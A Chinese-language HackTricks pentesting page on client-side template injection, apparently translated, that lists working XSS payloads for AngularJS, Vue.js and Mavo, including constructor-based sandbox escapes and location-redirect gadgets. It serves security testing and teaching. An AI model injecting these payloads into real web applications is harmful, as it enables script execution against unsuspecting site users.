6.4 KiB
从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或以PDF格式下载HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。**
概要
它类似于服务器端模板注入,但发生在客户端。SSTI可以让你在远程服务器上执行代码,而CSTI可能允许你在受害者中执行任意JavaScript代码。
测试此漏洞的方法与SSTI的情况非常相似,解释器会期望在双大括号之间执行某些操作,并将执行它。例如使用类似:{{ 7-7 }}
,如果服务器容易受到攻击,你将看到0
,如果不是,你将看到原始的:{{ 7-7 }}
AngularJS
AngularJS是一个流行的JavaScript库,它扫描包含**ng-app
属性(也称为AngularJS指令)的HTML节点的内容。当指令被添加到HTML代码中时,你可以在双花括号内执行JavaScript表达式。
例如,如果你的输入被反映在定义了ng-app
的body**内: <body ng-app>
你可以使用花括号添加到body中来执行任意JavaScript代码:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
您可以在 AngularJS 中找到一个非常基础的在线示例,网址为 http://jsfiddle.net/2zs2yv7o/
{% hint style="danger" %}
Angular 1.6 移除了沙箱 因此从这个版本开始,像 {{constructor.constructor('alert(1)')()}}
或 <input ng-focus=$event.view.alert('XSS')>
这样的有效载荷应该可以工作。
{% endhint %}
VueJS
您可以在此处找到一个存在漏洞的 vue.js 实现:https://vue-client-side-template-injection-example.azu.now.sh/
有效载荷示例:https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
以及这个存在漏洞示例的源代码在这里:https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
关于在 VUE 中的 CSTI 的一个非常好的文章可以在这里找到 https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
查看更多 VUE payloads 在 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
更多有效载荷在 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。